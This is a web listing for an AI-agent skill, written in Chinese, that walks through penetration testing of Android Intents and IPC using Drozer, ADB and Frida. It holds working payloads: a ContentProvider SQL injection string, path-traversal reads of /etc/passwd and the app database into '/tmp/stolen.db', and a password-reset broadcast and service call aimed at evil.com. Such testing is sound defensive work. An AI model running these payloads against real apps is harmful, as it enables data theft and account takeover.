testing-android-intents-for-vulnerabilities

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

9 stars

Best use case

testing-android-intents-for-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

Teams using testing-android-intents-for-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-android-intents-for-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-android-intents-for-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-android-intents-for-vulnerabilities Compares

Feature / Agenttesting-android-intents-for-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试 Android Intent 漏洞

## 适用场景

适用于以下情况:
- 评估 Android 应用导出的 Activity、Service、BroadcastReceiver 和 ContentProvider
- 测试 Intent 注入和未授权组件调用漏洞
- 评估广播接收器(BroadcastReceiver)安全性,检测敏感数据暴露
- 对 Android 应用进行以 IPC 为重点的渗透测试

**不适用场景**:未经明确授权,不得在生产设备上使用。

## 前置条件

- 已 Root 的 Android 设备或模拟器,并配置 ADB
- 目标设备上已安装 Drozer Agent(`drozer agent.apk`)
- 主机端已安装 Drozer 控制台(`pip install drozer`)
- 使用 apktool 对目标 APK 进行反编译,以分析 AndroidManifest.xml
- Frida 用于运行时 Intent 监控

## 工作流程

### 步骤 1:枚举导出组件

```bash
# 使用 Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# 输出内容:
# X 个已导出 Activity
# X 个已导出广播接收器
# X 个已导出内容提供者
# X 个已导出 Service

# 列出已导出 Activity
run app.activity.info -a com.target.app

# 列出已导出 Service
run app.service.info -a com.target.app

# 列出已导出广播接收器
run app.broadcast.info -a com.target.app

# 列出内容提供者
run app.provider.info -a com.target.app
```

### 步骤 2:测试导出 Activity

```bash
# 直接启动导出 Activity
run app.activity.start --component com.target.app com.target.app.AdminActivity

# 携带 Intent Extra 参数启动
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# 通过数据 URI 测试 Intent 注入
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# 若管理 Activity 无需认证即可打开,上报为授权绕过漏洞
```

### 步骤 3:测试广播接收器

```bash
# 向导出广播接收器发送广播
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# 嗅探广播中的敏感数据
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# 通过 ADB 发送广播
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"
```

### 步骤 4:测试内容提供者

```bash
# 查询内容提供者,检测数据泄露
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# 测试内容提供者 SQL 注入
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# 测试路径遍历
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# 查找可注入的内容提供者
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
```

### 步骤 5:测试 PendingIntent 漏洞

```javascript
// 通过 Frida 监控 PendingIntent 创建
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // 检查 FLAG_IMMUTABLE(安全)与 FLAG_MUTABLE(存在漏洞)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [漏洞] FLAG_MUTABLE - PendingIntent 可被接收方修改");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});
```

### 步骤 6:测试 Service 绑定

```bash
# 尝试绑定导出 Service
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **导出组件(Exported Component)** | 设备上其他应用可访问的 Android 组件(Activity/Service/BroadcastReceiver/ContentProvider) |
| **Intent** | 用于向其他组件请求操作的消息对象;可为显式(指定目标)或隐式(基于 Action) |
| **PendingIntent** | 封装 Intent 供其他应用未来执行的令牌;可变的 PendingIntent 可被接收方修改 |
| **ContentProvider(内容提供者)** | 用于应用间结构化数据共享的组件;若查询参数未过滤,为 SQL 注入攻击目标 |
| **BroadcastReceiver(广播接收器)** | 接收系统或应用广播的组件;导出的广播接收器可被任意应用触发 |

## 工具与系统

- **Drozer**:Android 安全评估框架,内置 IPC 测试模块
- **ADB**:命令行工具,用于触发 Intent、启动 Activity 和发送广播
- **Frida**:运行时监控 Intent 处理和 PendingIntent 创建
- **apktool**:APK 反编译工具,用于分析 AndroidManifest.xml 中的组件导出状态
- **Intent Fuzzer**:自动化模糊测试工具,对导出组件的 Intent 参数进行模糊测试

## 常见问题

- **android:exported 默认值在 API 31 发生变化**:含有 Intent Filter 的组件在 API 31 以下默认为 exported=true,API 31+ 默认为 exported=false。需检查 targetSdkVersion。
- **权限保护组件**:导出组件仍可能需要特定权限才能访问。需分别测试有权限和无权限两种情况。
- **隐式 Intent 与显式 Intent**:只有隐式 Intent(基于 Action)才可被其他应用拦截;显式 Intent(指定目标组件)是安全的。
- **自定义权限**:应用可定义具有不同保护级别的自定义权限(normal、dangerous、signature)。Signature 级别权限仅可授予使用相同证书签名的应用。

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。